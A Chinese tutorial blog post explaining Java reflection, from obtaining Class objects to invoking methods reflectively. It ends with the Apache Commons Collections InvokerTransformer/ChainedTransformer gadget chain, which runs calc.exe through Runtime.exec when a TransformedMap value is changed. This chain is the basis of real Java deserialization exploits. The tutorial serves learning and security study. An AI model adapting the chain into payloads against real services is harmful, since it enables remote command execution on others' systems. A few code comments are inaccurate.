Java中的反射机制Reflection
目录
反射机制是java的一个非常重要的机制,一些著名的应用框架都使用了此机制,如struts、spring、hibernate、android app界面等等。
java.lang.Class它是java语法的一个基础类,用于描述一个class对象。在文件系统中,class以文件的形式存在。在运行的JVM中,*.class文件被加载到内存中成为一个对象,该对象的类型就是java.lang.Class。
什么是反射?
在运行状态中,对于任意一个类,都能够获取到这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性),这种动态获取信息以及动态调用对象的方法的功能就称为java语言的反射机制。也就是说,虽然我们获取不到该类的源代码,但是通过该类的.class文件能反射(Reflect)出这些信息。
通俗点讲,通过反射,该类对我们来说是完全透明的,想要获取任何东西都可以。
想要使用反射机制,就必须要先获取到该类的字节码文件对象 .class,java.lang.Class类表示 .class 字节码文件对象。通过字节码文件对象,就能够通过该类中的方法获取到我们想要的所有信息(方法、属性、类名、父类名、实现的所有接口等等),每一个类对应着一个字节码文件也就对应着一个Class类型的对象,也就是字节码文件对象。
获取.class字节码文件对象
获取字节码文件对象的三种方式,有了字节码文件对象才能获得类中所有的信息,我们在使用反射获取信息时,也要考虑使用下面哪种方式获取字节码对象合理,视不同情况而定。
//方法一
Class clazz1 = Class.forName("my.Student");//通过Class类中的静态方法forName,直接获取到一个类的字节码文件对象,此时该类还是源文件阶段,并没有变为字节码文件。包名为 my,类名为 Student
//方法二
Class clazz2 = Student.class; //当类被加载成.class文件时,此时Student.java类变成了Student.class,该类处于字节码阶段
//方法三
Student s=new Student(); //实例化Student对象
Class clazz3 = s.getClass(); //通过该类的实例获取该类的字节码文件对象,该类处于创建对象阶段
获取该.class字节码文件对象的详细信息
当我们得到一个.class字节码文件对象,我们可以得到以下信息:
- 类名 (含package路径)
- 函数 (名称,参数类型,返回值)
- 域 (名称,类型)
- 实现的接口 (interfaces)
使用 java.lang.reflect.*下的类来实现
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.text.DateFormat.Field;
public class main
public static void main(String[] args) throws Exception{
Object obj=new Student(); //Student实例
Class cls=obj.getClass(); //得到Student字节码对象
//通过函数名和函数参数,得到函数
String methodName="setId"; //函数名字
Class[] par={int.class,String.class}; //函数参数
Method m=cls.getMethod(methodName, par); //返回函数
//调用method
Object[] paramters={123,"haha"}; //传递参数
m.invoke(obj,paramters); //执行函数
cls.getPackage(); //获取包信息
String str=cls.getSimpleName(); //Student ,获得该类的名字,不包含包名
String str2=cls.getName(); //my.Student,获得该类的名字,包含包名
Object obj2=cls.newInstance(); //创建一个实例,要求有一个不带参数的构造函数
int modified=cls.getModifiers(); //获取cls对象的类修饰符
Class[] interfaces=cls.getInterfaces(); //获取实现的接口集合
Constructor[] con=cls.getConstructors(); //获取构造函数的集合
Method[] methods=cls.getMethods(); //获取函数列表
cls.getDeclaredAnnotations(); //获取私有函数(protected和private修饰的)
java.lang.reflect.Field[] fields=cls.getFields(); //获取成员变量列表
cls.getDeclaredField(str2); //获取私有变量(protected和private修饰的)
}
}
通过反射机制执行函数
如下,下面的代码中我们利用JAVA 的反射机制来调用计算器。我们利用了Java的反射机制把我们的代码意图都利用字符串的形式进行体现,使得原本应该是字符串的属性,变成了代码执行的逻辑。
import java.lang.reflect.InvocationTargetException;
public class main3 {
public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, ClassNotFoundException {
Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null); //得到Runtime.getRuntime()函数
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime,"calc.exe"); //执行函数
}
}
运行代码,可以看到,执行了 calc.exe 的命令

反射链
什么是反射链呢?
我们来查看 org.apache.commons.collections.functors.InvokerTransformer.java 的源代码,这个接口实现了反射链,可以通过Java的反射机制来执行任意命令
public class InvokerTransformer implements Transformer, Serializable {
/*
Input参数为要进行反射的对象,
iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
iArgs为对应方法的参数
在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数
*/
private static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public static Transformer getInstance(String methodName) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
return new InvokerTransformer(methodName);
}
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
if (((paramTypes == null) && (args != null))
|| ((paramTypes != null) && (args == null))
|| ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
throw new IllegalArgumentException("The parameter types must match the arguments");
}
if (paramTypes == null || paramTypes.length == 0) {
return new InvokerTransformer(methodName);
} else {
paramTypes = (Class[]) paramTypes.clone();
args = (Object[]) args.clone();
return new InvokerTransformer(methodName, paramTypes, args);
}
}
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
private void writeObject(ObjectOutputStream os) throws IOException {
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
os.defaultWriteObject();
}
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
is.defaultReadObject();
}
}
然后,我们去实现这个接口,只需要传入方法名、参数类型和参数,即可调用任意函数。在这里,我们可以看到,先用ConstantTransformer() 获取了 Runtime 类,接着通过反射调用 getRuntime 函数,再调用 getRuntime 的 exec() 函数,执行命令。依次调用关系为: Runtime --> getRuntime --> exec()
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class main2 {
public static void main(String[] args) {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class), //获得Runtime.class字节码文件
//通过反射,返回一个对象
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
//ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer
Transformer transformedChain=new ChainedTransformer(transformers);
Map innerMap=new HashMap();
innerMap.put("value","value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);
Map.Entry entry=(Entry)outerMap.entrySet().iterator().next();
entry.setValue("test"); //修改值,触发执行
}
}
可以看到,当Map中的Value值被修改了,触发执行了Transformer的transform()方法,通过反射链调用了Runtime.getRuntime.exec("calc.exe") 命令

Java中的反射机制Reflection的更多相关文章
- 浅说Java中的反射机制(一)
在学习传智播客李勇老师的JDBC系列时,会出现反射的概念,由于又是第一次见,不免感到陌生.所以再次在博客园找到一篇文章,先记录如下: 引用自java中的反射机制,作者bingoideas.(()为我手 ...
- java 中利用反射机制获取和设置实体类的属性值
摘要: 在java编程中,我们经常不知道传入自己方法中的实体类中到底有哪些方法,或者,我们需要根据用户传入的不同的属性来给对象设置不同的属性值,那么,java自带的反射机制可以很方便的达到这种目的,同 ...
- java中的反射机制在Android开发中的用处
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法:对于任意一个对象,都能够调用它的任意一个方法和属性:这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反 ...
- 浅说Java中的反射机制(二)
写过一篇Java中的反射机制,不算是写,应该是抄了,因为那是别人写的,这一篇也是别人写的,摘抄如下: 引自于Java基础--反射机制的知识点梳理,作者醉眼识朦胧.(()为我手记) 什么是反射? 正常编 ...
- 【Java基础】java中的反射机制与动态代理
一.java中的反射机制 java反射的官方定义:在运行状态下,可以获取任意一个类的所有属性和方法,并且可通过某类任意一对象实例调用该类的所有方法.这种动态获取类的信息及动态调用类中方法的功能称为ja ...
- Java中的反射机制(一)
基本概念 在Java运行时环境中,对于任意一个类,能否知道这个类有哪些属性和方法?对于任意一个对象,能否调用它的任意一个方法? 答案是肯定的. 这种动态获取类的信息以及动态调用对象的方法的功能来自于J ...
- Java 中的反射机制
JAVA反射机制 JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法:对于任意一个对象,都能够调用它的任意一个方法:这种动态获取的信息以及动态调用对象的方法的功能称为ja ...
- 深入理解Java中的反射机制
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法:对于任意一个对象,都能够调用它的任意方法和属性:这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制. ...
- Java中的反射机制和动态代理
一.反射概述 反射机制指的是Java在运行时候有一种自观的能力,能够了解自身的情况为下一步做准备,其想表达的意思就是:在运行状态中,对于任意一个类,都能够获取到这个类的所有属性和方法:对于任意一个对象 ...
随机推荐
- ES系列(一):编译准备与server启动过程解析
ES作为强大的和流行的搜索引擎服务组件,为我们提供了方便的和高性能的搜索服务.在实际应用中也是用得比较爽,但如果能够更深入一点.虽然网上有许多的文章已经完整说明,ES是如何如何做到高性能,如何做到高可 ...
- there is nothing(i春秋CTF题解)
(1)打开页面,显示为:there is nothing (2)抓包发现提示 (3)hint:ip,Large internal network 意为最大的内网网段IP,hint: ip,Larg ...
- 扫盲贴|如何评价一款App的稳定性和质量?
作者:友盟+移动开发专家 张文 「崩溃」与「卡顿」.「异常退出」等一样,是影响App稳定性常见的三种情况.相关数据显示,当iOS的崩溃率超过0.8%,Android的崩溃率超过0.4%的时候,活跃用户 ...
- C语言float和double输入问题
统计给定的n个数中,负数.零和正数的个数. Input 输入数据有多组,每组占一行,每行的第一个数是整数n(n<100),表示需要统计的数值的个数,然后是n个实数:如果n=0,则表示输入结 ...
- .Net Core 2.1 升级3.1 问题整理
随着技术的不断拓展更新,我们所使用的技术也在不断地升级优化,项目的框架也在不断地升级,本次讲解 .net core 2.1 升级到3.1所需要注意的事项: 当项目框架升级后,所有的Nuget引用也会 ...
- MD摘要算法
import static org.junit.Assert.*; import java.security.MessageDigest; //消息摘要 public class MDCoder { ...
- 危害api收集
以下每一条代码,无论其通过什么方式被调用,在哪个类里被调用,传入什么参数,都具有唯一不变性(在逆向出来的的smali文件里),故可以作为匹配的凭证. 网络操作相关: Ljava/net/URL ...
- lucent,solr,ES比较
|0什么是全文搜索 什么是全文搜索引擎? 百度百科中的定义:全文搜索引擎是目前广泛应用的主流搜索引擎.它的工作原理是计算机索引程序通过扫描文章中的每一个词,对每一个词建立一个索引,指明该词在文章中出现 ...
- 2.掌握numpy数组
一.改变数组形态 reshape()--通过改变数组的维度改变数组形态 import numpy as np Array=np.arange(1,17,1) Array Array_1=np.aran ...
- PTA 统计二叉树结点个数
6-1 统计二叉树结点个数 (10 分) 本题要求实现一个函数,可统计二叉树的结点个数. 函数接口定义: int NodeCount ( BiTree T); T是二叉树树根指针,函数NodeCo ...